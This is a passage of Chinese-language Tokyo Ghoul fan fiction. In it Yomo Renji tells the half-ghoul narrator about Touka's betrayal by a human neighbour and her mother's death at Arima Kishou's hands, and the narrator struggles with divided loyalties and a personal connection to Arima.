他顿了顿，说起了过去的事情， “那个女人每天给她糖吃，帮她扎头发，下雨天借伞给她。董香那时候很小，大概只有雏实那么大。她以为人类就是好的，觉得那个女人是真的喜欢她。放学回家还会专门绕到隔壁，喊她阿姨。”
“但是她报了警，CCG来的时候，那个女人就站在人群里看着。后来，连他们那个懦弱的父亲都被抓走了。”
“所以，”他说，“董香不信任人类。”
我点点头，“我理解，人类和喰种本就是无法共生的。”
我又下意识摆出了那副淡然的表情，让我的反应在他眼里显得正常一些。但“正常”这个词从来都没有意义，我花了很长时间才接受这个事实——我永远不可能正常。
我无法站在人类那一边，因为我不是纯粹的人类，无法理所当然地认为喰种是需要被完全清除的威胁，无法相信CCG做的事就是正义。但我也无法站在喰种那一边，因为我长不出赫子，没有办法用自己的身体去战斗，去保护我想保护的人，
我的身体不会给我任何提示，更不会告诉我天平应该偏向哪一边。我就像一块连接在两块金属板之间的焊料，早已经失去了原来的形状，既不属于左边也不属于右边。如果有人想把这两块板分开，他们只能把我从中间劈开。
四方莲示沉默了一会儿，把帽檐往上推了推，露出一小片额头。我以为他说完了，刚准备说“再见”，他又开口了。
“她的妈妈，是被有马贵将杀死的。”
听到这个名字，我的呼吸顿了一瞬。
四方莲示的肩膀微微耸着，外套在路灯下泛起一层薄薄的水光。
“他就是个疯子。”
“他杀掉的喰种……已经不计其数了。”
我站在车前，被车灯炙烤得浑身发烫。引擎的余温从车头传过来，源源不断炙烤着我，开玩笑时嘴角留下的弧度开始变得不自然，它像一根被烤软的塑料，慢慢地塌下去，最后变成一条平直的、不知道该往哪边弯的线。
我张了张嘴。
舌尖抵住上颚，嘴唇分开，气流从喉咙里涌上来，经过声带时产生了一点点震动。
我不知道自己想说什么。
也许是“我知道”。但我知道什么？我什么都不知道。我不知道有马贵将驱逐喰种的时候在想什么，不知道他还记不记得我曾对他说过的软弱请求，不知道他挥下库因克的那一刻心跳是快还是慢。
也许是“他不是那样的”。但他是的，四方莲示口中像死神一样肆意收割性命的搜查官就是他，用了不到十年就成为不败传说的搜查官就是他。
也许是“对不起”。但对不起什么呢？对不起我没有阻止他？那时候我甚至不在他身边。还是对不起我认识他？这算什么罪名。
气流从张开的嘴唇里泄出来，变成毫无意义的音节。
“走了。”
我只能这样说。